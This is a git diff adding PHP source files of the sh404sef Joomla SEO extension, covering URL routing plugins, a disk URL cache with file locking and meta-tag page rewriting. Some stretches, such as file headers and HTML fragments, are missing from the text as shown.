$originalVars['Itemid']; + } + } + if (!empty($validItemid)) + { + // we now use the calculated Itemid, either the original one + // or the one that was swapped in by Virtuemart router.php + $Itemid = $validItemid; + $vars['Itemid'] = $validItemid; + $originalUri->setVar('Itemid', $validItemid); + shAddToGETVarsList('Itemid', $validItemid); + + // then stick the category route + $categoryRoute = $helper->getCategoryRoute($vars['virtuemart_category_id']); + if (!empty($categoryRoute->itemId)) + { + $menuItem = JFactory::getApplication()->getMenu()->getItem($categoryRoute->itemId); + $catRoute = empty($menuItem) ? '' : $menuItem->alias; + } + !empty($catRoute) ? array_unshift($title, $catRoute) : null; + } + } + // add shop menu item, if asked to + if ($sefConfig->shVmInsertShopName) + { + array_unshift($title, $shopName); + } + } +} + +if (!empty($title)) +{ + // add user defined prefix + $prefix = shGetComponentPrefix($option); + if (!empty($prefix)) + { + array_unshift($title, $prefix); + } + $title = empty($title) ? $title : sh404sefHelperUrl::encodeSegments($title); +} + +// manage GET var lists ourselves, as Joomla router.php does not do it +if (!empty($vars)) +{ + // there are some unused GET vars, we must transfer them to our mechanism, so + // that they are eventually appended to the sef url + foreach ($vars as $k => $v) + { + switch ($k) + { + case 'option': + case 'Itemid': + case 'lang': + shRemoveFromGETVarsList($k); + break; + default: + // if variable has not been used in sef url, add it to list of variables to be + // appended to the url as query string elements + if (array_key_exists($k, $originalVars)) + { + shAddToGETVarsList($k, $v); + } + else + { + shRemoveFromGETVarsList($k); + } + break; + } + } +} +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef) +{ + $string = shFinalizePlugin($string, $title, $shAppendString, $shItemidString, (isset($limit) ? $limit : null), + (isset($limitstart) ? $limitstart : null), (isset($shLangName) ? $shLangName : null), (isset($showall) ? $showall : null), + $suppressPagination = true); +} +// ------------------ standard plugin finalize function - don't change --------------------------- diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_weblinks.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_weblinks.php new file mode 100644 index 00000000..16b08ccf --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_weblinks.php @@ -0,0 +1,162 @@ +slugForUncategorizedWeblinks == shSEFConfig::COM_SH404SEF_UNCATEGORIZED_EMPTY ? '' : $menuItemTitle; +$slugsArray = array(); + +if($task == 'weblink.go') { + // jumping to link target + if (!empty($id)) { + try { + $weblinkDetails = ShlDbHelper::selectObject( '#__weblinks', array('id', 'title', 'catid'), array( 'id' => $id)); + $slugsArray[] = $weblinkDetails->title; + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + $weblinksDetails = null; + } + if(!empty( $weblinkDetails->catid)) { + try { + $title = $slugsModel->getCategorySlugArray( 'com_weblinks', $weblinkDetails->catid, $sefConfig->includeWeblinksCat, $sefConfig->useWeblinksCatAlias, $insertId = false, $uncategorizedPath, $shLangName); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + $title[] = '/'; + } + } else { + $dosef = false; + } + if(!empty($slugsArray)) { + $title = array_merge( $title, $slugsArray); + } + shRemoveFromGETVarsList('id'); + shRemoveFromGETVarsList('catid'); + shRemoveFromGETVarsList('task'); + shMustCreatePageId( 'set', true); + +} else { + + // displaying weblinks + switch ($view) { + case 'category': + // fetch cat name + if(!empty( $id)) { + try { + $slugsArray = $slugsModel->getCategorySlugArray( 'com_weblinks', $id, $sefConfig->includeWeblinksCatCategories, $sefConfig->useContactCatAlias, $insertId = false, $uncategorizedPath, $shLangName); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + $slugsArray[] = '/'; + } else { + if (!empty($menuItemTitle)) { + $slugsArray[] = $menuItemTitle; + } else { + $dosef = false; + } + } + if(!empty($slugsArray)) { + $title = array_merge( $title, $slugsArray); + } + shRemoveFromGETVarsList('id'); + shRemoveFromGETVarsList('catid'); + shMustCreatePageId( 'set', true); + break; + case 'categories': + // fetch cat name + if(!empty( $id)) { + try { + $slugsArray = $slugsModel->getCategorySlugArray( 'com_weblinks', $id, $sefConfig->includeWeblinksCatCategories, $sefConfig->useWeblinksCatAlias, $insertId = false, $menuItemTitle, $shLangName); + } catch (Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + $slugsArray[] = '/'; + } else { + if (!empty($menuItemTitle)) { + $slugsArray[] = $menuItemTitle; + } else { + $dosef = false; + } + } + if(!empty($slugsArray)) { + $title = array_merge( $title, $slugsArray); + } + shRemoveFromGETVarsList('id'); + shRemoveFromGETVarsList('catid'); + shMustCreatePageId( 'set', true); + break; + case 'form': + if(empty( $w_id)) { + $title[] = $sh_LANG[$shLangIso]['COM_SH404SEF_CREATE_NEW_LINK']; + } else { + $dosef = false; + } + break; + default: + $dosef = false; + break; + } +} + +shRemoveFromGETVarsList('option'); +if (!empty($Itemid)) +shRemoveFromGETVarsList('Itemid'); +shRemoveFromGETVarsList('lang'); +if (!empty($catid)) +shRemoveFromGETVarsList('catid'); +if (!empty($view)) +shRemoveFromGETVarsList('view'); +if (!empty($id)) +shRemoveFromGETVarsList('id'); +if (!empty($layout)) +shRemoveFromGETVarsList('layout'); + +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), + (isset($shLangName) ? @$shLangName : null)); +} +// ------------------ standard plugin finalize function - don't change --------------------------- + +?> diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/com_wrapper.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_wrapper.php new file mode 100644 index 00000000..7a687c5b --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/com_wrapper.php @@ -0,0 +1,43 @@ + diff --git a/deployed/sh404sef/components/com_sh404sef/sef_ext/sample_com_plugin.php b/deployed/sh404sef/components/com_sh404sef/sef_ext/sample_com_plugin.php new file mode 100644 index 00000000..12e4934d --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sef_ext/sample_com_plugin.php @@ -0,0 +1,84 @@ + $sampleId)); + } catch( Exception $e) { + ShlSystem_Log::error( 'sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + if ($sampleTitle) { // if we found a title for this element + $title[] = $sampleTitle->title; // insert it in URL array + shRemoveFromGETVarsList('sampleId'); // remove sampleId var from GET vars list + // as we have found a text equivalent + shMustCreatePageId( 'set', true); // NEW: ask sh404sef to create a short URL for this SEF URL (pageId) + } + } + shRemoveFromGETVarsList('task'); // also remove task, as it is not needed + // because we can revert the SEF URL without + // it +} + +// ------------------ standard plugin finalize function - don't change --------------------------- +if ($dosef){ + $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, + (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), + (isset($shLangName) ? @$shLangName : null)); +} +// ------------------ standard plugin finalize function - don't change --------------------------- + diff --git a/deployed/sh404sef/components/com_sh404sef/sh404sef.php b/deployed/sh404sef/components/com_sh404sef/sh404sef.php new file mode 100644 index 00000000..c5b1b5cd --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/sh404sef.php @@ -0,0 +1,17 @@ +getDefaultFrontLiveSite()); \ No newline at end of file diff --git a/deployed/sh404sef/components/com_sh404sef/shCache.php b/deployed/sh404sef/components/com_sh404sef/shCache.php new file mode 100644 index 00000000..067d82ff --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/shCache.php @@ -0,0 +1,454 @@ +shUseURLCache)) { + register_shutdown_function('shWriteURLCacheToDisk'); +} + +/** + * A small class to implement a file-access locking mechanism + * @author Yannick Gaultier + * + */ +class Shlock { + + // max number of attempts to acquire the file if already locked + var $_maxAttempts; + // microseconds to wait between attempts to acquire an already locked lock + var $_maxWait; + // time to live in seconds for a lock + var $_lockTtl; + // in the future, we may use the db as backend to store locks + var $_backend; + // default path to store lock files (if using file backend) + var $_path; + // extension to use for lock file + var $_extension; + + function __construct( $backend = 'file', $path = '', $attempts = 1, $maxWait = 0, $lockTtl = 20, $extension = '.shlock') { + $this->_maxAttempts = $attempts; + $this->_maxWait = $maxWait; + $this->_lockTtl = $lockTtl; // 2 secs defaults + $this->_backend = $backend; + $this->_path = empty( $path) ? sh404SEF_FRONT_ABS_PATH . 'cache/' : $path; + $this->_extension = $extension; + } + + public static function &getInstance($backend = 'file') { + static $_shlock = null; + + if (is_null($_shlock)) { + $_shlock = new Shlock($backend); + } + return $_shlock; + } + + function acquire( $name) { + if (empty( $name)) { + return false; + } + + // call backend + $backend = '_acquire'.ucfirst( $this->_backend); + $result = method_exists( $this, $backend) ? $this->$backend( $name) : false; + + return $result; + } + + function release( $name) { + + if (empty( $name)) { + return false; + } + + // call backend + $backend = '_release'.ucfirst( $this->_backend); + $result = method_exists( $this, $backend) ? $this->$backend( $name) : false; + + return $result; + + } + + function _acquireFile( $name) { + if (empty( $name)) { + return false; + } + $attempts = 0; + $fileName = $this->_path . $name . $this->_extension; + do { + // directly attempts to create the lock. If it fails, then element is already locked + $handle = @fopen( $fileName, 'x'); + if ($handle) { + // we could create file for writing, element is not locked. + // store time, close and return + $result = fwrite( $handle, time()); + fclose($handle); + // return true if we could write the time stamp + return $result !== false; + } else { + $attempts++; + // we could not create lock file, element is already locked + // read lock file, and check TTL + $lockTime = file_get_contents( $fileName); + $lockTime = (int) JString::trim( $lockTime); + if ((time() - $lockTime) > $this->_lockTtl) { + // existing lock has timed out, we can release it + $this->release( $name); + } else { + // element is locked by another process + // go to sleep for a while. Won't work in windows if php less than 5.0.0 + // but should not have side effects, only we'll lost + // some data that could have been saved to the cache + if ( $attempts != 0 && $attempts < $this->_maxAttempts) { + usleep( $this->_maxWait); + } + } + } + } + while ($attempts != 0 && $attempts < $this->_maxAttempts); + + // if we get here, we could not get the lock + return false; + } + + function _releaseFile( $name) { + if (empty( $name)) { + return false; + } + + $fileName = $this->_path . $name . $this->_extension; + // simply delete the lock file + $result = is_file( $fileName) ? unlink( $fileName) : false; + } + +} + +function sh_var_export( $cache, $start) { + // export content of array $cache, inserting a numeric key starting at $start + $size = count($cache); + if (empty($size)) return ''; + $ret = ''; + for ($i=0; $i<$size; $i++) { // use for instead of foreach to reduce memory usage + // new version, smaller RAM footprint + $ret .= "\n".'$shURLDiskCache['.$start++.']=\''.$cache[$i].'\';'; + } + // new version, less ram footprint + + return $ret; +} + +function shWriteURLCacheToDisk() { + global $shURLDiskCache, $shURLMemCache, $shURLCacheFileName, $shURLCacheCreationDate, $shCacheFileLocked; + + $sefConfig = & Sh404sefFactory::getConfig();; + + // If we acquired lock at page load, we can write + if (count($shURLMemCache) && $shCacheFileLocked) { + $now = time(); + if (!file_exists($shURLCacheFileName)) { + $cache = 'version.' +if (!defined(\'_JEXEC\')) die(\'Direct Access to this location is not allowed.\'); +$shURLCacheCreationDate = '.$now.';'."\n"; + } else { + $cache = ' SH404SEF_URL_CACHE_TTL*3600) { // cache must be cleared + $GLOBALS['shURLDiskCache'] = array(); + unlink($shURLCacheFileName); + $shURLCacheCreationDate = $now; + $cache = 'version.' +if (!defined(\'_JEXEC\')) die(\'Direct Access to this location is not allowed.\'); +$shURLCacheCreationDate = '.$now.';'."\n"; + } + } + } + } + $count = count( $shURLDiskCache); + $cache .= sh_var_export( $shURLMemCache, $count); // only need to write memory cache, ie: those URL added since last read of cache from disk + $cache .= "\n".'?'.'>'; + $cacheFile=fopen( $shURLCacheFileName,'ab'); + if ($cacheFile) { + fwrite( $cacheFile, $cache); + fclose( $cacheFile); + } + + } + + if ($shCacheFileLocked) { + // in any case, release lock to file + $lock = & Shlock::getInstance(); + if($lock) { + $lock->release( 'shCacheContent'); + $shCacheFileLocked = false; + } + } +} + +// load cached URL from disk into an array in memory +function shLoadURLCache() { + global $shURLDiskCache, $shURLCacheFileName, $shURLTotalCount, $shURLMemCache, $shURLRam, $shCacheFileLocked; + static $shDiskCacheLoaded = false; + if (!$shDiskCacheLoaded) { + $shCacheFileLocked = false; + ShlSystem_Log::debug( 'sh404sef', 'Cache not loaded - trying to load '.$shURLCacheFileName); + if (file_exists( $shURLCacheFileName)) { + $startMem = function_exists('memory_get_usage')? memory_get_usage():'unavailable'; + ShlSystem_Log::debug( 'sh404sef', 'Including cache file (mem = '.$startMem.')'); + $GLOBALS['shURLDiskCache'] = array(); // erase global, not local copy + $lock = & Shlock::getInstance(); + // we try lock the cache file until the end of the request + // so as to avoid other concurrent requests writing to it + // while we have some pending data + if ($lock && $lock->acquire('shCacheContent')) { + $shCacheFileLocked = true; + } + include($shURLCacheFileName); + $endMem = function_exists('memory_get_usage')? memory_get_usage():'unavailable'; + $shURLRam = $startMem == 'unavailable' ? $startMem: $endMem-$startMem; + $shDiskCacheLoaded = !empty($shURLDiskCache); + $shURLTotalCount = !empty($shURLDiskCache) ? count($shURLDiskCache) : 0; + ShlSystem_Log::debug( 'sh404sef', 'Cache file included : '.($startMem == 'unavailable' ? $startMem: $endMem-$startMem).' bytes used, '.$shURLTotalCount.' URLs'); + } else { + // cache file not there, create it + $now = time(); + $sefConfig = & Sh404sefFactory::getConfig(); + $cache = 'version.' +if (!defined(\'_JEXEC\')) die(\'Direct Access to this location is not allowed.\'); +$shURLCacheCreationDate = '.$now.';'."\n"; + $cache .= "\n".'?'.'>'; + // lock cache file before using it + $lock = & Shlock::getInstance(); + if ($lock && $lock->acquire('shCacheContent')) { + $shCacheFileLocked = true; + $cacheFile=fopen( $shURLCacheFileName,'ab'); + if ($cacheFile) { + fwrite( $cacheFile, $cache); + fclose( $cacheFile); + } + } + $GLOBALS['shURLDiskCache'] = array(); + $shDiskCacheLoaded = true; // we don't want to try again if it failed first time + ShlSystem_Log::debug( 'sh404sef', 'Cache file does not exists'); + } + } +} + +// fetch an URL from cache, return null if not found +function shGetSefURLFromCache($string, &$url) { + global $shURLCacheMisses, $shURLCacheHits, $shURLCacheMissesList; + + $sefConfig = & Sh404sefFactory::getConfig(); + + if (!$sefConfig->shUseURLCache) { + $url = null; + $shURLCacheMisses += 1; + return sh404SEF_URLTYPE_NONE; + } + shLoadURLCache(); + $diskCacheSize = count($GLOBALS['shURLDiskCache']); + $memCacheSize = count($GLOBALS['shURLMemCache']); + if (empty($diskCacheSize) && empty($memCacheSize)) { + $url = null; + $shURLCacheMisses += 1; + return sh404SEF_URLTYPE_NONE; + } + $string = htmlentities( $string, ENT_QUOTES); + for ($i=0; $i<$diskCacheSize; $i++) { + if (strpos($GLOBALS['shURLDiskCache'][$i], $string) !== false) { + $tmp = explode('#', $GLOBALS['shURLDiskCache'][$i]); // cache format : non-sef#sef#type + if ($string == $tmp[0]) { + $url = $tmp[1]; + ShlSystem_Log::debug( 'sh404sef', 'Retrieved SEF from disk cache : '.$url.' => '.html_entity_decode( $tmp[0], ENT_QUOTES).'('.$tmp[2].')'); + $shURLCacheHits += 1; + return $tmp[2]; + } + } + } + for ($i=0; $i<$memCacheSize; $i++) { + if (strpos($GLOBALS['shURLMemCache'][$i], $string) !== false) { + $tmp = explode('#', $GLOBALS['shURLMemCache'][$i]); // cache format : non-sef#sef#type + if ($string == $tmp[0]) { + $url = $tmp[1]; + _log('Retrieved SEF from mem cache : '.$url.' => '.html_entity_decode( $tmp[0], ENT_QUOTES).'('.$tmp[2].')'); + $shURLCacheHits += 1; + return $tmp[2]; + } + } + } + $shURLCacheMisses += 1; + $shURLCacheMissesList[] = $string; + return sh404SEF_URLTYPE_NONE; +} + +// fetch an URL from cache, return null if not found +function shGetNonSefURLFromCache($string, &$url) { + + $sefConfig = & Sh404sefFactory::getConfig(); + + if (!$sefConfig->shUseURLCache) { + $url = null; + return sh404SEF_URLTYPE_NONE; + } + shLoadURLCache(); + $diskCacheSize = count($GLOBALS['shURLDiskCache']); + $memCacheSize = count($GLOBALS['shURLMemCache']); + if (empty($diskCacheSize) && empty($memCacheSize)) { + $url = null; + return sh404SEF_URLTYPE_NONE; + } + for ($i=0; $i<$diskCacheSize; $i++) { + if (strpos($GLOBALS['shURLDiskCache'][$i], $string) !== false) { + $tmp = explode('#', $GLOBALS['shURLDiskCache'][$i]); // cache format : non-sef#sef#type + $nonSef = html_entity_decode( $tmp[0], ENT_QUOTES); + if ($string == $tmp[1]) { + $url = $nonSef; + ShlSystem_Log::debug( 'sh404sef', 'Retrieved Non SEF from disk cache : '.$url.' => '.$tmp[1].'('.$tmp[2].')'); + return $tmp[2]; + } + } + } + for ($i=0; $i<$memCacheSize; $i++) { + if (strpos($GLOBALS['shURLMemCache'][$i], $string) !== false) { + $tmp = explode('#', $GLOBALS['shURLMemCache'][$i]); // cache format : non-sef#sef#type + $nonSef = html_entity_decode( $tmp[0], ENT_QUOTES); + if ($string == $tmp[1]) { + $url = $nonSef; + ShlSystem_Log::debug( 'sh404sef', 'Retrieved Non SEF from mem cache : '.$url.' => '.$tmp[1].'('.$tmp[2].')'); + return $tmp[2]; + } + } + } + return sh404SEF_URLTYPE_NONE; +} + +function shAddSefURLToCache( $nonSefURL, $sefURL, $URLType) { + global $shURLMemCache, $shURLTotalCount; + + $sefConfig = & Sh404sefFactory::getConfig(); + + if (!$sefConfig->shUseURLCache) return null; + if ($shURLTotalCount >= $sefConfig->shMaxURLInCache) return null; // v 1.2.4.c added total cache size control + // Filter out non sef url which include &mosmsg, as I don't want to have a cache entry for every single msg + // that can be thrown at me, including every 404 error + if (strpos(strtolower($nonSefURL), '&mosmsg')) return null; + $count = count($shURLMemCache); + // new cache format : non-sef#sef#type + $shURLMemCache[$count] = htmlentities( $nonSefURL, ENT_QUOTES).'#'.$sefURL.'#'.$URLType; + ShlSystem_Log::debug( 'sh404sef', 'Adding to URL cache : '.$sefURL.' <= '.$nonSefURL); + $shURLTotalCount++; // v 1.2.4.c added total cache size control + return true; +} + +function shRemoveURLFromCache( $nonSefURLList) { + global $shURLMemCache, $shURLDiskCache, $shURLTotalCount; + + $sefConfig = & Sh404sefFactory::getConfig(); + if (!$sefConfig->shUseURLCache || empty($nonSefURLList)) return null; + $foundInDiskCache = false; + $foundInMemCache = false; + foreach ($nonSefURLList as $nonSefURL) { + if (!empty($shURLMemCache)) { + foreach ($shURLMemCache as $key => $cacheItem) { // look up in memory cache + $tmp = explode('#', $cacheItem); + $cacheNonSef = html_entity_decode( $tmp[0], ENT_QUOTES); + if ($cacheNonSef == $nonSefURL) { + unset($shURLMemCache[$key]); + $shURLTotalCount--; + $foundInMemCache = true; + } + } + } + if (!empty($shURLDiskCache)) { + foreach ($shURLDiskCache as $key => $cacheItem) { // look up disk cache + $tmp = explode('#', $cacheItem); + $cacheNonSef = html_entity_decode( $tmp[0], ENT_QUOTES); + if ($cacheNonSef == $nonSefURL) { + unset($shURLDiskCache[$key]); + $shURLTotalCount--; + $foundInDiskCache = true; + } + } + } + } + if ($foundInMemCache) { + $shURLMemCache = array_values($shURLMemCache); // simply reindex mem cache + return; + } + if ($foundInDiskCache) { // we need to remove these url from the disk cache file + // to make it simpler, I simply rewrite the complete file + $shURLMemCache = (empty($shURLMemCache) ? + array_values($shURLDiskCache) + :array_merge($shURLDiskCache, $shURLMemCache)); + $shURLDiskCache = array(); // don't need disk cache anymore, as all URL are in mem cache + // so we remove both on disk cache and in memory copy of on disk cache + $cacheFile = sh404SEF_FRONT_ABS_PATH.'cache/shCacheContent.php'; + if (file_exists($cacheFile)) { + unlink($cacheFile); + } + // no need to write new URL list in disk file, as this will be done automatically at shutdown + } +} + +function shShowCacheStats() { + global $shURLCacheMisses, $shURLCacheMissesList, $shURLCacheHits, $shURLRam, $shURLTotalCount; + + $cacheTotal = $shURLCacheMisses+$shURLCacheHits; + $out = 'Cache hits : '. $shURLCacheHits . " [".(int)(100*$shURLCacheHits/$cacheTotal) .']
    '; + $out .= 'Cache misses : '. $shURLCacheMisses . " [".(int)(100*$shURLCacheMisses/$cacheTotal). ']
    '; + $out .= 'Cache total : '. $cacheTotal . '
    '; + $out .= 'In cache : '. $shURLTotalCount . '
    '; + $out .= 'Ram : '. $shURLRam . '
    '; + $out .= '


    Misses list'; + foreach($shURLCacheMissesList as $url) { + $out .= '
    '.$url.'

    '; + } + return $out; +} + + + diff --git a/deployed/sh404sef/components/com_sh404sef/shPageRewrite.full.php b/deployed/sh404sef/components/com_sh404sef/shPageRewrite.full.php new file mode 100644 index 00000000..c71c92ee --- /dev/null +++ b/deployed/sh404sef/components/com_sh404sef/shPageRewrite.full.php @@ -0,0 +1,1210 @@ +

    '), ENT_NOQUOTES)); + $desc = str_replace('
    ', ' - ', $desc); // otherwise, one word
    another becomes onewordanother + $desc = str_replace('
    ', ' - ', $desc); + $desc = str_replace('

    ', ' - ', $desc); + $desc = str_replace('

    ', ' - ', $desc); + while (strpos($desc, ' - - ') !== false) + { + $desc = str_replace(' - - ', ' - ', $desc); + } + $desc = str_replace("'", '\'', $desc); + $desc = str_replace("'", '\'', $desc); + $desc = str_replace('"', '\'', $desc); + $desc = str_replace("\r\n", ' ', $desc); + $desc = str_replace("\n\r", ' ', $desc); + $desc = str_replace("\r", ' ', $desc); + $desc = str_replace("\n", ' ', $desc); + return JString::substr(JString::trim($desc), 0, 512); + } + + function shIncludeMetaPlugin() + { + + $option = JRequest::getCmd('option'); + + // get extension plugin + $extPlugin = &Sh404sefFactory::getExtensionPlugin($option); + + // which plugin file are we supposed to use? + $extPluginPath = $extPlugin->getMetaPluginPath(Sh404sefFactory::getPageInfo()->currentNonSefUrl); + + if (!empty($extPluginPath)) + { + include $extPluginPath; + } + + } + + // utility function to insert data into an html buffer, after, instead or before + // one or more instances of a tag. If last parameter is 'first', then only the + // first occurence of the tag is replaced, or the new value is inserted only + // after or before the first occurence of the tag + + function shInsertCustomTagInBuffer($buffer, $tag, $where, $value, $firstOnly) + { + if (!$buffer || !$tag || !$value) + return $buffer; + $bits = explode($tag, $buffer); + if (count($bits) < 2) + return $buffer; + $result = $bits[0]; + $maxCount = count($bits) - 1; + switch ($where) + { + case 'instead': + for ($i = 0; $i < $maxCount; $i++) + { + $result .= ($firstOnly == 'first' ? ($i == 0 ? $value : $tag) : $value) . $bits[$i + 1]; + } + break; + case 'after': + for ($i = 0; $i < $maxCount; $i++) + { + $result .= $tag . ($firstOnly == 'first' ? ($i == 0 ? $value : $tag) : $value) . $bits[$i + 1]; + } + break; + default: + for ($i = 0; $i < $maxCount; $i++) + { + $result .= ($firstOnly == 'first' ? ($i == 0 ? $value : $tag) : $value) . $tag . $bits[$i + 1]; + } + break; + } + return $result; + } + + function shPregInsertCustomTagInBuffer($buffer, $tag, $where, $value, $firstOnly, $rawPattern = false) + { + if (!$buffer || !$tag || !$value) + return $buffer; + $pattern = $rawPattern ? $tag : '#(' . $tag . ')#iUsu'; + + switch ($where) + { + case 'instead': + $replacement = $value; + break; + case 'after': + $replacement = '$1' . $value; + break; + default: + $replacement = $value . '$1'; + break; + } + + $result = preg_replace($pattern, $replacement, $buffer, $firstOnly ? 1 : 0); + if (empty($result)) + { + $result = $buffer; + ShlSystem_Log::error('shlib', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, + 'RegExp failed: invalid character on page ' . Sh404sefFactory::getPageInfo()->currentSefUrl); + } + + return $result; + } + + function shDoLinkReadMoreCallback($matches) + { + if (count($matches) != 3) + return empty($matches) ? '' : $matches[0]; + $mask = '%%shM1%%title="%%shTitle%%" class="readon">%%shM2%% [%%shTitle%%]'; + $result = str_replace('%%shM2%%', $matches[2], $mask); + // we may have captured more than we want, if there are several articles, but only the last one has + // a Read more link (first ones may be intro-only articles). Need to make sure we are fetching the right title + $otherArticles = explode('', $matches[1]); + $articlesCount = count($otherArticles); + $matches[1] = $otherArticles[$articlesCount - 1]; + unset($otherArticles[$articlesCount - 1]); + + $bits = explode('class="contentpagetitle">', $matches[1]); + if (count($bits) > 1) + { + // there is a linked title + $titleBits = array(); + preg_match('/(.*)()/isuU', $bits[1], $titleBits); // extract title-may still have

    tags + $title = JString::trim(JString::trim(stripslashes(html_entity_decode(JString::trim($titleBits[1])))), '"'); + } + else + { // title is not linked + $titleBits = array(); + preg_match('/(.*)()/iusU', $matches[1], $titleBits); // extract title-may still have

    tags + $title = str_replace('

    ', '', $titleBits[1]); + $title = str_replace('

    ', '', $title); + $title = JString::trim(JString::trim(stripslashes(html_entity_decode(JString::trim($title)))), '"'); + } + $result = str_replace('%%shTitle%%', $title, $result); + // restore possible additionnal articles + $articles = implode('', $otherArticles); + $matches[1] = (empty($articles) ? '' : $articles . '') . $matches[1]; + $result = str_replace('%%shM1%%', $matches[1], $result); + $result = str_replace('%%shM2%%', $matches[2], $result); + $result = str_replace('class="contentpagetitle">', 'title="' . $title . '" class="contentpagetitle">', $result); + return $result; + } + + function shDoRedirectOutboundLinksCallback($matches) + { + if (count($matches) != 2) + return empty($matches) ? '' : $matches[0]; + if (strpos($matches[1], Sh404sefFactory::getPageInfo()->getDefaultFrontLiveSite()) === false) + { + $mask = 'getDefaultFrontLiveSite())) != $shPageInfo->getDefaultFrontLiveSite() + && (substr($link, 0, 7) == 'http://' || substr($link, 0, 7) == 'https://') + && (empty($shPageInfo->basePath) || substr($link, 0, strlen($shPageInfo->basePath)) != $shPageInfo->basePath) + && strpos($link, 'pinterest.com') === false) + { + + $mask = '%%shM1%%href="%%shM2%%" %%shM3%% >%%shM4%%%%shM5%%'; + + $result = str_replace('%%shM1%%', $bits[0], $mask); + $result = str_replace('%%shM2%%', $link, $result); + + $m3 = str_replace($sep . $link . $sep, '', str_replace('', '', $part2)); // remove link from part 2 + $bits2 = explode('>', $m3); + $m3 = $bits2[0]; + $result = str_replace('%%shM3%%', $m3, $result); + + array_shift($bits2); // remove first bit + $m4 = implode($bits2, '>'); + $result = str_replace('%%shM4%%', $m4, $result); + + $m5 = strip_tags($m4); + $result = str_replace('%%shM5%%', $m5, $result); + + } + else + { + $result = $matches[0]; + } + return $result; + } + + function shGetCustomMetaData($nonSef) + { + + static $_tags; + + if (is_null($_tags)) + { + $_tags = JTable::getInstance('metas', 'Sh404sefTable'); + // now read manually setup tags + try + { + $data = ShlDbHelper::selectObject('#__sh404sef_metas', '*', array('newurl' => $nonSef)); + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + if (!empty($data)) + { + $_tags->bind($data); + } + } + return $_tags; + } + + function shGetCurrentNonSef() + { + // remove Google tracking vars, would prevent us to find the correct meta tags + $nonSef = Sh404sefHelperUrl::stripTrackingVarsFromNonSef(Sh404sefFactory::getPageInfo()->currentNonSefUrl); + + // Virtuemart hack + // VM 2.x actually sets JRequest variables to communicate between view.html.php and layouts! + // so the current non-sef url is modified (showall=1 is added) which prevent + // all meta data associated with this non-sef to be properly retrieved + $isVm = Sh404sefHelperUrl::getUrlVar($nonSef, 'option', null) == 'com_virtuemart'; + $isProductDetails = $isVm && Sh404sefHelperUrl::getUrlVar($nonSef, 'view', null) == 'productdetails'; + if ($isProductDetails) + { + $nonSef = str_replace('&showall=1', '', $nonSef); + } + + // normalize, set variables in alpha order + return Sh404sefHelperUrl::sortUrl($nonSef); + } + + function shDoTitleTags(&$buffer) + { + // Replace TITLE and DESCRIPTION and KEYWORDS + if (empty($buffer)) + return; + global $shCustomTitleTag, $shCustomDescriptionTag, $shCustomKeywordsTag, $shCustomRobotsTag, $shCustomLangTag, $shCanonicalTag; + + $database = ShlDbHelper::getDb(); + $shPageInfo = &Sh404sefFactory::getPageInfo(); + $sefConfig = &Sh404sefFactory::getConfig(); + $document = JFactory::getDocument(); + $headData = $document->getHeadData(); + + // V 1.2.4.t protect against error if using shCustomtags without sh404SEF activated + // this should not happen, so we simply do nothing + if (!isset($sefConfig) || empty($shPageInfo->currentNonSefUrl)) + { + return; + } + + // check if there is a manually created set of tags from tags file + // need to get them from DB + if ($sefConfig->shMetaManagementActivated) + { + + shIncludeMetaPlugin(); + + // is this homepage ? set flag for future use + // V 1.2.4.t make sure we have lang info and properly sorted params + if (!preg_match('/(&|\?)lang=[a-zA-Z]{2,3}/iuU', $shPageInfo->currentNonSefUrl)) + { + // no lang string, let's add default + $shTemp = explode('-', $shPageInfo->currentLanguageTag); + $shLangTemp = $shTemp[0] ? $shTemp[0] : 'en'; + $shPageInfo->currentNonSefUrl .= '&lang=' . $shLangTemp; + } + + $nonSef = shGetCurrentNonSef(); + $isHome = $nonSef == Sh404sefHelperUrl::sortUrl(shCleanUpAnchor(Sh404sefFactory::getPageInfo()->homeLink)); + $shCustomTags = shGetCustomMetaData($isHome ? sh404SEF_HOMEPAGE_CODE : $nonSef); + + // J! 2.5 finder canonical handling/hack + $highlight = Sh404sefHelperUrl::getUrlVar($nonSef, 'highlight', null); + if (!empty($highlight) && empty($shCanonicalTag)) + { + $searchCanoNonSef = str_replace('?highlight=' . $highlight, '', $nonSef); + $searchCanoNonSef = str_replace('&highlight=' . $highlight, '', $searchCanoNonSef); + $shCanonicalTag = JRoute::_($searchCanoNonSef); + } + + // splash page hack + $splash = Sh404sefHelperUrl::getUrlVar($nonSef, 'sh404sef_splash', null); + if (!empty($splash) && empty($shCanonicalTag)) + { + $shCanonicalTag = $sefConfig->shForcedHomePage; + } + + // group new tags insertion, better perf + $tagsToInsert = ''; + + if (!empty($shCustomTags)) + { + $shCustomTitleTag = !empty($shCustomTags->metatitle) ? $shCustomTags->metatitle : $shCustomTitleTag; + $shCustomDescriptionTag = 